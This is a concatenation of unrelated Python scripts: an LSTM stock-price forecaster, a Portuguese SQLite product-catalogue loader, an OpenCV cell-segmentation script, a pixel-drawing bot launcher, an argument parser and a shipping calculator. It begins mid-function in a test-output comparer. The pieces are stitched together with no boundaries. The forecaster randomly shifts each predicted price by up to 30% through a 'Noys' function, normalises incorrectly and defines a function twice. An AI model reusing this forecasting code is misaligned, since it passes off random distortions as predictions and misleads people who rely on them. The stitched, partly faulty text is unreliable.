        output_file = join(dir,test.replace('.in','.out'))
        with open("b") as f1:
            with open(output_file) as f2:
                str1 = f1.read()
                str2 = f2.read()
                if str1 != str2:
                    print("test - %s\noutput - %s\n" % (test, output_file))
                    print(str1 + "\n\n" + str2)


import tensorflow as tf

import matplotlib as mpl
import matplotlib.pyplot as plt
import numpy as np
from numpy.random import random_integers
import os
import pandas as pd
from math import floor

# Matplotlib fig params
mpl.rcParams['figure.figsize'] = (8, 6)
mpl.rcParams['axes.grid'] = False

# Enable eager for easy to use TF
#tf.enable_eager_execution()

def getData(location):
    # Get the data into pandas df
    data = pd.read_csv(location)

    # Univariate data for close indexed on data -> numpy array
    uni_data = data.iloc[:, 5]
    uni_data.index = data['Date']
    uni_data = uni_data.values

    return uni_data

def univariate_data(dataset, start_index, end_index, history_size, target_size):
    data = []
    labels = []

    start_index = start_index + history_size
    if end_index is None:
        end_index = len(dataset) - target_size

    for i in range(start_index, end_index):
        # Every group of 20
        indices = range(i - history_size, i)
        # Reshape data from (history_size,) to (history_size, 1)
        # Data is now groups of 20 records - x data
        data.append(np.reshape(dataset[indices], (history_size, 1)))
        # Labels = the day to predict in question - y data
        labels.append(dataset[i + target_size])
    return np.array(data), np.array(labels)

def getData(location):
    # Get the data into pandas df
    data = pd.read_csv(location)

    # Univariate data for close indexed on data -> numpy array
    uni_data = data.iloc[:, 5]
    uni_data.index = data['Date']
    uni_data = uni_data.values

    return uni_data

def normalizeData(TRAIN, uni_data):
    # Getting training data metrics
    uni_train_min = np.amin(uni_data[:TRAIN])
    uni_train_max = np.amax(uni_data[:TRAIN])
    uni_data = (uni_data - uni_train_min) / uni_train_max

    return uni_data, uni_train_min, uni_train_max

def trainValSplit(uni_data, TRAIN, HISTORIC_REC, TARGET_REC):
    # This will be:
    # x = previous records
    # y = next record prediction
    x_train_uni, y_train_uni = univariate_data(uni_data, 0, TRAIN,
                                               HISTORIC_REC,
                                               TARGET_REC)

    x_val_uni, y_val_uni = univariate_data(uni_data, TRAIN, None,
                                           HISTORIC_REC,
                                           TARGET_REC)

    return x_train_uni, y_train_uni, x_val_uni, y_val_uni

def create_time_steps(length):
    return list(range(-length, 0))

def show_plot(plot_data, delta, title):
    labels = ['History', 'True Future', 'Model Prediction']
    marker = ['.-', 'rx', 'go']
    time_steps = create_time_steps(plot_data[0].shape[0])
    if delta:
        future = delta
    else:
        future = 0

    plt.title(title)
    for i, x in enumerate(plot_data):
        if i:
            plt.plot(future, plot_data[i], marker[i], markersize=10,
                     label=labels[i])
        else:
            plt.plot(time_steps, plot_data[i].flatten(), marker[i], label=labels[i])
    plt.legend()
    plt.xlim([time_steps[0], (future + 5) * 2])
    plt.xlabel('Time-Step')
    return plt

def showSampleExample(x_train_uni, y_train_uni, val):
    plot = show_plot([x_train_uni[val], y_train_uni[val]], 0, 'Sample Example')
    plt.show()

def baseline(history):
    return np.mean(history)

def showBaselinePrediction(x_train_uni, y_train_uni, val):
    plot = show_plot([x_train_uni[val], y_train_uni[val], baseline(x_train_uni[val])], 0,
                     'Baseline Prediction Example')
    plt.show()

def batchAndShuffleData(BUFFER_SIZE, BATCH_SIZE, x_train_uni, y_train_uni, x_val_uni, y_val_uni):
    train_univariate = tf.data.Dataset.from_tensor_slices((x_train_uni, y_train_uni))
    train_univariate = train_univariate.cache().shuffle(BUFFER_SIZE).batch(BATCH_SIZE, drop_remainder=True).repeat()

    val_univariate = tf.data.Dataset.from_tensor_slices((x_val_uni, y_val_uni))
    val_univariate = val_univariate.batch(BATCH_SIZE, drop_remainder=True).repeat()

    return train_univariate, val_univariate

def createModel(tensorShape):
    simple_lstm_model = tf.keras.models.Sequential([
        tf.keras.layers.LSTM(8, input_shape=tensorShape),
        tf.keras.layers.Dense(1)
    ])

    simple_lstm_model.compile(optimizer='adam', loss='mae')

    return simple_lstm_model

# for x, y in val_univariate.take(1):
#     print(simple_lstm_model.predict_on_batch(x).shape)

##### 2
def CreateModel(train_data_shape):
    model = createModel(train_data_shape[-2:])

    return model

##### 1
def PrepTrainData(location):
    HISTORIC_REC = 30
    TARGET_REC = 0
    BATCH_SIZE = 1
    BUFFER_SIZE = 200

    data = getData(location)
    TRAIN = floor(0.8 * len(data))

    ndata, nmin, nmax = normalizeData(TRAIN, data)
    x_train_uni, y_train_uni, x_val_uni, y_val_uni = trainValSplit(ndata, TRAIN, HISTORIC_REC, TARGET_REC)
    train_univariate, val_univariate = batchAndShuffleData(BUFFER_SIZE, BATCH_SIZE, x_train_uni, y_train_uni, x_val_uni, y_val_uni)

    return train_univariate, val_univariate, x_train_uni.shape

#### 3
def TrainModel(model, train_univariate, val_univariate, filename):
    EVALUATION_INTERVAL = 200
    EPOCHS = 50
    model.fit(train_univariate, epochs=EPOCHS,
              steps_per_epoch=EVALUATION_INTERVAL,
              validation_steps=50,
              validation_data=val_univariate)

    model.save("trained/trained_model"+filename)

    return model

def LoadModel(m_name):
    model = tf.keras.models.load_model(m_name)
    return model

def GetPrediction(dataset, model, forecast):
    if forecast > 30:
        forecast = 30

    # plt.plot(data)
    hdata, nmin, nmax = normalizeData(len(dataset), dataset)
    hdata = hdata[-30:]

    p_ya = np.array([])
    p_x = np.arange(len(dataset), len(dataset) + forecast)

    for x in range(0, forecast):
        hdata = hdata.reshape(1, 30, 1)
        y_hat = model.predict(hdata)

        y_hat = Noys(y_hat)
        # if abs(y_hat - p_ya[-1]) > 0.5*y_hat:
        #     y_hat = y_hat/5

        hdata = np.append(hdata, y_hat)
        hdata = np.delete(hdata, 0)
        p_ya = np.append(p_ya, y_hat)

    p_ya = p_ya * nmax + nmin
    diffy = dataset[-1] - p_ya[0]
    p_ya = p_ya + diffy
    # plt.plot(p_x, p_ya)

    # plt.show()

    return np.ndarray.tolist(p_ya)

def Noys(y_hat):
    noys = random_integers(-2, 2)
    if noys % 2 == 0:
        if noys > 1:
            y_hat = y_hat + y_hat*0.30
        elif noys < 1:
            y_hat = y_hat - y_hat*0.30
    else:
        if noys > 1:
            y_hat = y_hat + y_hat*0.15
        elif noys < 1:
            y_hat = y_hat - y_hat*0.15

    return y_hat
def GetTrainedModel(path: str):
    t_m = LoadModel(path)
    return t_m

# GetPrediction('../data/AAPL.csv', t_m, 20)

def TrainSet():
    model = CreateModel((30, 1))
    for filename in os.listdir("/Users/christopherochs/financial-forecasting-api/models/data"):
        if filename.endswith(".csv"):
            print('../data/' + filename)
            train, val, t_shape = PrepTrainData('../data/' + filename)
            model = TrainModel(model, train, val, filename)

def TestModels(filename, dataname):
        model = LoadModel('trained/'+filename)
        d = getData('../data/' + dataname)
        d = d[-100:]
        p_x = np.arange(len(d), len(d) + 5)
        y = GetPrediction(d, model, 5)
        plt.title(filename + " on " + dataname)
        plt.plot(d)
        plt.plot(p_x, y)
        plt.show()


# from PIL import Image
#
# def abrirImagem():
#     im = Image.open("sample-image.png")
#
#
import csv
import sqlite3

from PIL import Image

def abrir_imagem(imagem):
    #im = Image.open("sample-image.png")
    im = Image.open(imagem)
    im.show()

def consultar_imagem(item):
    try:
        con = sqlite3.connect('catalogo.db')
        cur = con.cursor()
        dados = (item[0])
        cur.execute('SELECT imagem FROM produtos WHERE codcli = ?',(dados,))
        con.commit()
        resposta = cur.fetchone()
        nome_arquivo = f'c:\marcelo\projetos\python\catalogo\imgconv\{item[0]}.jpg'
        writeTofile(resposta[0], nome_arquivo)
        abrir_imagem(nome_arquivo)
        print(f'Código {item[0]} consultado com sucesso.')
        cur.close()
        con.close()

    except sqlite3.Error as erro:
        print(f'Erro na consulta {item[0]}.',erro)

def convertToBinaryData(filename):
    # Convert digital data to binary format
    with open(filename, 'rb') as file:
        binaryData = file.read()
    return binaryData

def writeTofile(data, filename):
    # Convert binary data to proper format and write it on Hard Disk
    with open(filename, 'wb') as file:
        file.write(data)
        print(filename)
    print("Stored blob data into: ", filename, "\n")

def inserir_bd(item):
    try:
        con = sqlite3.connect('catalogo.db')
        cur = con.cursor()
        cur.execute('insert into prod_cliente (codpro, descricao, embalagem, preco_cx, preco_un, cod_barras, categoria) values (?,?,?,?,?,?,?)',item,)
        con.commit()
        #print(f'Item {item[0]} incluso com sucesso.')
        cur.close()
        con.close()
    except sqlite3.Error as erro:
        print(f'Erro na inclusão {item[0]}.',erro)

def contar_itens():
    con = sqlite3.connect('catalogo.db')
    cur = con.cursor()
    cur.execute('SELECT * FROM prod_cliente',)
    print(f'Quantidade de itens inseridos no catálogo: {len(cur.fetchall())}')
    cur.close()
    con.close()

def inserir_imagem(item):
    try:
        con = sqlite3.connect('catalogo.db')
        cur = con.cursor()
        dados = (None,item[6], item[0])
        cur.execute('INSERT INTO produtos (cod_barras, imagem, codcli) values (?, ?, ?)',dados,)
        con.commit()
        print(f'Código {item[0]} atualizado com sucesso.')
        cur.close()
        con.close()

    except sqlite3.Error as erro:
        print(f'Erro na atualização {item[0]}.',erro)

def atualizar_bd(item):
    try:
        con = sqlite3.connect('catalogo.db')
        cur = con.cursor()
        #soh atualiza com preco diferente
        # dados = (item[1],item[2], item[3], item[4],item[5], item[6], item[0],item[3])
        # cur.execute('UPDATE prod_cliente SET descricao = ?, embalagem = ?, preco_cx = ?, preco_un = ?, cod_barras = ?, categoria = ? WHERE codpro = ? and preco_cx != ?',dados,)
        #atualiza tudo
        dados = (item[1],item[2], item[3], item[4],item[5], item[6], item[0])
        cur.execute('UPDATE prod_cliente SET descricao = ?, embalagem = ?, preco_cx = ?, preco_un = ?, cod_barras = ?, categoria = ? WHERE codpro = ?',dados,)
        con.commit()
        print(f'Código {item[0]} atualizado com sucesso.')
        cur.close()
        con.close()

    except sqlite3.Error as erro:
        print(f'Erro na atualização {item[0]}.',erro)

def ler_arquivo():
    with open ('produtos.txt', 'r') as f:
        lista = []

        for row in csv.reader(f,delimiter=';'):
            lista.append(row)

        for linha in lista:
            item = []
            preco_novo = linha[6].replace(',','.')
            preco_novo = "{:.2f}".format(float(preco_novo))
            ##Troca , por .
            preco_novo_un = linha[8].replace(',','.')
            ##tranforma para numero real com 2 digitos apos o ponto

            preco_novo_un = "{:.2f}".format(float(preco_novo_un))
            # if preco_novo_un == '0.00':
            #     print("Código: " + linha[0] + " Descrição: " + linha[1] + " Emb: " + linha[3] + " Preço un: R$ " + str(
            #         preco_novo))
            # else:
            #     print("Código: "+linha[0]+" Descrição: "+linha[1]+" Emb: "+linha[3]+" Preço cx: R$ "+str(preco_novo)+ " Preço un: R$ "+str(preco_novo_un))

            item.append(linha[0])
            item.append(linha[1])
            item.append(linha[3])
            item.append(linha[6])
            if linha[8] !='0':
                item.append(linha[8])
            else:
                item.append(linha[6])
            item.append(0000000000000) #codigo de barras
            categoria = linha[11].split(' ')
            #print(categoria[1])

            #Coloca os nomes das categorias no BD
            #categoria = linha[11]
            if categoria[1] == 'ADAMS' or categoria[1] == 'ARCOR' or categoria[1] == 'CAMPESTRE' or categoria[1] == 'DALVA' or categoria[1] == 'DORI' or categoria[1] == 'AMENDUPA' or categoria[1] == 'FINI' or categoria[1] == 'FLORESTAL' or categoria[1] == 'Jazam' or categoria[1] == 'LUIZ' or categoria[1] == 'PECCIN' or categoria[1] == 'RICLAN' or categoria[1] == 'SANTA' or categoria[1] == 'Uniao'  or categoria[1] == 'GAROTO'  or categoria[1] == 'Quero' or categoria[1] == 'NESTLE':
                item.append('DOCES e SALGADINHOS')
                #categoria[1]= 'DOCES e SALGADINHOS'
            elif categoria[1] == 'BDL' or categoria[1] == 'ADN' or categoria[1] == 'BIC' or categoria[1] == 'DEYCON' or categoria[1] == 'FEIJAO' or categoria[1] == 'ERVA' or categoria[1] == 'FEIJAO' or categoria[1] == 'GERAL' or categoria[1] == 'KRAFT' or categoria[1] == 'LIMPINHA' or categoria[1] == 'MARANATA' or categoria[1] == 'MARTINS' or categoria[1] == 'MEMPHIS' or categoria[1] =='OWENS-ILLINOIS'  or categoria[1] == 'VASSOURAS'  or categoria[1] == 'ZETTAPACK'or categoria[1] == 'TELL'or categoria[1] == 'ODERICH' or categoria[1] == 'Mococa' or categoria[1] == 'Queijo' :
                item.append('MERCEARIA')
                #categoria[1] == 'MERCEARIA'
            elif categoria[1] == 'FONT'  or categoria[1] == 'BEBIDAS'  or categoria[1] == 'PINGO'  or categoria[1] == 'SUCO':
                item.append('BEBIDAS')
                #categoria[1] == 'BEBIDAS'
            elif categoria[1] == 'GIRANDO' or categoria[1] == 'SANY' or categoria[1] == 'BRILHOLAC':
                #categoria[1] == 'GIRANDO SOL'
                item.append('LIMPEZA')
            elif categoria[1] == 'DU':
                #categoria[1] == 'CONDIMENTOS'
                item.append('CONDIMENTOS')
            elif categoria[1] == 'ELMA':
                #categoria[1] == 'ELMA CHIPS'
                item.append('ELMA CHIPS')
            elif categoria[1] == 'Biscoitos':
                item.append('Biscoitos SAGRA')
            elif categoria[1] == 'TUBARAO'  or categoria[1] == 'SIRIUS'  or categoria[1] == 'HIGIE'  or categoria[1] == 'TISCOSKI'  or categoria[1] == 'GREEN' or categoria[1] == 'FRALDA':
                #categoria[1] == 'HIGIENE PESSOAL'
                item.append('HIGIENE PESSOAL')
            elif categoria[1] == 'MC'  or categoria[1] == 'ORLEPLAST'  or categoria[1] == 'PLAZAPEL'  or categoria[1] == 'LIPLAST'  or categoria[1] == 'TOTALPLAST'or categoria[1] == 'EMBRAST'or categoria[1] == 'VABENE':
                #categoria[1] == 'DESCARTÁVEIS'
                item.append('DESCARTÁVEIS')
            elif categoria[1] == 'MULTINACIONAL' or categoria[1] == 'PLASCOR'  or categoria[1] == 'RELUZ' or categoria[1] == 'OUROLUX' or categoria[1] == 'PARANA'or categoria[1] == 'PIRISA' or categoria[1] == 'BLUMENAU' or categoria[1] == 'Alcool' or categoria[1] == 'CARVAO' or categoria[1] == 'THREE' or categoria[1] == 'FIBRAFORM':
                #categoria[1] == 'UTILIDADES'
                item.append('BAZAR E UTILIDADES')
            else:
                item.append(categoria[1])
            #Aqui insere todos os itens novamente
            inserir_bd(item)

            #Aqui eh pra usar opcao de atualizar os preços
            #atualizar_bd(item)

            #img = convertToBinaryData('img/semfoto.jpg')
            #item.append(img)
            #inserir_imagem(item)

def listar_produtos():
    try:
        con = sqlite3.connect('catalogo.db')
        cur = con.cursor()
        produtos=[]
#        cur.execute('SELECT codpro, descricao, categoria, embalagem, preco_cx, preco_un FROM prod_cliente ORDER BY categoria, descricao')
        cur.execute(
            'SELECT codpro, descricao, categoria, embalagem, preco_cx, preco_un, categoria FROM prod_cliente WHERE categoria NOT Null ORDER BY categoria, descricao')
        produtos = cur.fetchall()
        cur.close()
        con.close()
        return produtos
    except sqlite3.Error as erro:
        print('Erro na consulta.',erro)

def apagar_itens_cliente():
    try:
        con = sqlite3.connect('catalogo.db')
        cur = con.cursor()
        cur.execute(
            'DELETE FROM prod_cliente')
        print(f'Total de itens apagados: {cur.rowcount}')
        con.commit()
        cur.close()
        con.close()
    except sqlite3.Error as erro:
        print('Erro ao apagar itens do banco.',erro)

if __name__ == '__main__':
    apagar_itens_cliente()
    ler_arquivo()
    contar_itens()
    #tt = []
    #tt.append('2327')
    #consultar_imagem(tt)


import os
import cv2
import numpy as np
import skimage.exposure as sk_exposure
import matplotlib.pyplot as plt
from skimage.io import imshow, imread
from skimage.color import rgb2hsv, hsv2rgb
from skimage import color
from scipy.ndimage.filters import maximum_filter
from scipy.ndimage.morphology import generate_binary_structure, binary_erosion

low=40
high=60
kernel = np.ones((4,4), np.uint8)

path_image_contour= 'C:/Users/Laura/AppData/Local/Programs/Python/Python36/Phenotype/Paint/001'

FILENAME='C:/Users/Laura/AppData/Local/Programs/Python/Python36/Phenotype/Images/006/TCGA-001-tile-r12-c5-x4096-y11264-w1024-h1024.PNG' #image can be in gif jpeg or png format
path_image_final = 'C:/Users/Laura/AppData/Local/Programs/Python/Python36/Phenotype/Images/Image_seg'
import matplotlib.pyplot as plt
import matplotlib.image as mpimg

#img=cv2.imread(FILENAME)
#imgplot = plt.imshow(img)
#plt.show()

kernel_dil = np.ones((3,3), np.uint8)

#def contour_img (path_image_contour) :

list_img = os.listdir(path_image_contour)
for annot_num, annotation_tif in (enumerate(list_img)):

    imagepath =path_image_contour+'/'+ annotation_tif
    print(annotation_tif)
    img = cv2.imread(imagepath,1)
    p= os.path.basename(annotation_tif)
    name1 = os.path.splitext(p)[0]
    fname = name1 + '.png'
    path_image_final_1 = os.path.join(path_image_final,fname)
    img= cv2.resize(img, (364,364), interpolation = cv2.INTER_AREA)
    cv2.imshow('',img)
    cv2.waitKey(0)
    img = cv2.erode(img, kernel_dil, iterations=1)
    img_hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)

    img_fin = np.zeros(img.shape, dtype=np.uint8)
   # img_hsv = cv2.dilate(img_hsv, kernel, iterations=1)

    lower_mask = img_hsv [:,:,0] > 90
    upper_mask = img_hsv [:,:,0] < 130
    saturation = img_hsv [:,:,1] > 100

    mask = upper_mask*lower_mask *saturation
    red = img[:,:,0]*mask
    green = img[:,:,1]*mask
    blue = img[:,:,2]*mask
    red_girl_masked = np.dstack((red,green,blue))
    red_girl_masked = cv2.cvtColor(red_girl_masked, cv2.COLOR_BGR2GRAY)

    cv2.imshow('',red_girl_masked)
    cv2.waitKey(0)

    ret,threshNuclei = cv2.threshold(red_girl_masked,0,255,cv2.THRESH_BINARY)

    contoursNuclei, hierarchy = cv2.findContours(threshNuclei,cv2.RETR_TREE ,cv2.CHAIN_APPROX_SIMPLE)
 #   cv2.drawContours(img ,contoursNuclei, -1, (0,255,0), 1)
 #   cv2.imshow('',img)
 #   cv2.waitKey(0)

    for c in zip(contoursNuclei, hierarchy[0]):
        if cv2.contourArea(c[0]) > 200:
            if c[1][3] != -1:

                temp = np.zeros(img.shape, dtype=np.uint8)
                cv2.fillPoly(temp, pts=[c[0]], color=(255, 255, 255))
            #    cv2.imshow('',temp)
            #    cv2.waitKey(0)
                masked_image = cv2.bitwise_and(img, temp)
                Mask_black = cv2.bitwise_not(masked_image)
                mask_ = cv2.bitwise_not(temp)
                masked_image_ = cv2.bitwise_or(masked_image, mask_)

                temp_1 = cv2.cvtColor(temp, cv2.COLOR_BGR2GRAY )
                #image_max = ndi.maximum_filter(masked_image_, size=20, mode='constant')
                dst = cv2.cornerHarris(temp_1,12,13,0.20)
                dst = cv2.dilate(dst,None)

                masked_image_shape = (masked_image_[dst>0.01*dst.max()]).shape
                masked_image_[dst>0.01*dst.max()]=[0,0,255]
              #  cv2.imshow('dst',masked_image_)
              #  cv2.waitKey(0)
                print( masked_image_shape[0])
                if masked_image_shape[0]< 290:
                    img_fin = img_fin+temp
                elif len(masked_image_[dst>0.09*dst.max()])<210:
                    img_fin = img_fin+temp

   # cv2.imshow('',img_fin)
  #  cv2.waitKey(0)
    cv2.imwrite(path_image_final_1, img_fin)
    cv2.imshow('',img_fin)
    cv2.waitKey(0)

   # cv2.drawContours(img ,contoursNuclei, -1, (0,255,0), 1)


#!/usr/bin/env python3
#_main_.py
import writer
import getimage
import argparse
import os
from time import sleep
import gimmedahandler   #import shit

##set up the parser
parser = argparse.ArgumentParser(
description= "A simple bot to place pixels from a picture to whatever you want \n Please note to write files with their according filetypes",
epilog= "Have fun with my Bot",
prefix_chars="-/",
add_help=False
)
# add arguments to the parser
parser.add_argument("-?", "--help", action="help", help="Show this help message")
parser.add_argument("--User_Interface", "-ui", action="store_true", dest="UI", help="Wether or not you will use the built-in User Interface. If given, will ignore all other parameters.")
parser.add_argument("-s", "--silence", "-s", action="store_true", dest="silence", help="If this parameter is given, the Program will not output anyting (exept fatal errors)")
parser.add_argument("-nc", "--no_colors", action="store_true", dest="nc", help="Wether to not use custom text coloring(e.g. if the output is saved to a file)")
parser.add_argument("-p", "--picture", type=str, dest="inpath", action="store", help="The path of the picture you want the Bot to draw.")
parser.add_argument("-h", "--handler", type=str, dest="handler", action="store", help="The file name of the handler that the Bot will use to draw your image.")
parser.add_argument("-sx", "--startx", type=int, dest="startx", action="store", help="The x coordinate of the top left corner of the canvas \n that the bot will draw your image into")
parser.add_argument("-sy", "--starty", type=int, dest="starty", action="store", help="The y coordinate of the top left corner of the canvas \n that the bot will draw your image into")
parser.add_argument("-ex", "--endx", type=int, dest="endx", action="store", help="The x coordinate of the bottom right corner of the canvas \n that the bot will draw your image into")
parser.add_argument("-ey", "--endy", type=int, dest="endy", action="store", help="The y coordinate of the bottom right corner of the canvas \n that the bot will draw your image into")
args = parser.parse_args() #parse the given arguments
#print("hehe", flush=True)
if args.UI and args.silence:
    while True:
        sleep(1)
        #how you gonna use a invisible UI???
if args.nc:     #creating a temporary file so that the toolset module knows wether or not to use custom colouring
    f = open("nc.temp", "x")
    f.close()
if args.UI == False and args.inpath == None and args.handler == None and args.startx == None and args.starty == None:
    parser.parse_args(["-?"]) #return the help page if no args are given
#print(args.handler)
if args.UI:
    image, size = getimage.imageprompt(args.UI) #getting the image stuff
    handler = gimmedahandler.gethandler(args.handler, args.UI) #retriveving the handler
    #print(handler)
    startx, starty, endx, endy = writer.getcanvas(args.UI, args.startx, args.starty, args.endx, args.endy) # retrieving the info about the canvas coordinates from the user
    writer.write(image, handler, startx, starty, endx, endy, size, args.UI, args.silence) #giving shit to the writing algorithms
    if args.nc:     #removing the temporary file
        os.remove("./nc.temp")
else:
    handler = gimmedahandler.gethandler(args.handler, args.UI) #prepping handler
    image, size = getimage.imageprompt(args.UI, args.inpath) #prepping the given img
    startx, starty, endx, endy = writer.getcanvas(args.UI, args.startx, args.starty, args.endx, args.endy) #checking the coords
    writer.write(image, handler, startx, starty, endx, endy ,size, args.UI, args.silence) #writing the image to the canvas
    if args.nc:      #removing the temporary file
        os.remove("./nc.temp")


#!/usr/bin/env python3

# Class for parsing arguments
# from command line

# Allowed arguments are
# --help
# --source=file
# --source="file"
# --input=file
# --input="file"

import sys
import re

class ArgumentsParser:

	"""
		Parses input arguments into objects and return them
	"""
	@staticmethod
	def parse():
		args = {}

		for argument in sys.argv[1:]:
			# Search for --something=file pattern
			if re.search("^--[a-zA-Z]*=.+$", argument):
				splitedArg = argument.split("=")
				args[splitedArg[0]] = splitedArg[1]
			elif argument == '--help':
				args[argument] = None

		return args


def purchases(n):
    if n==1:
        shipping=10.95
    else:
        shipping=10.95+((n-1)*2.95)
    return shipping
n=int(input("Enter number of orders:"))
if n!=0:
    amount=purchases(n)
    print("Shipping charges=",amount)
else:
    print("Invalid input")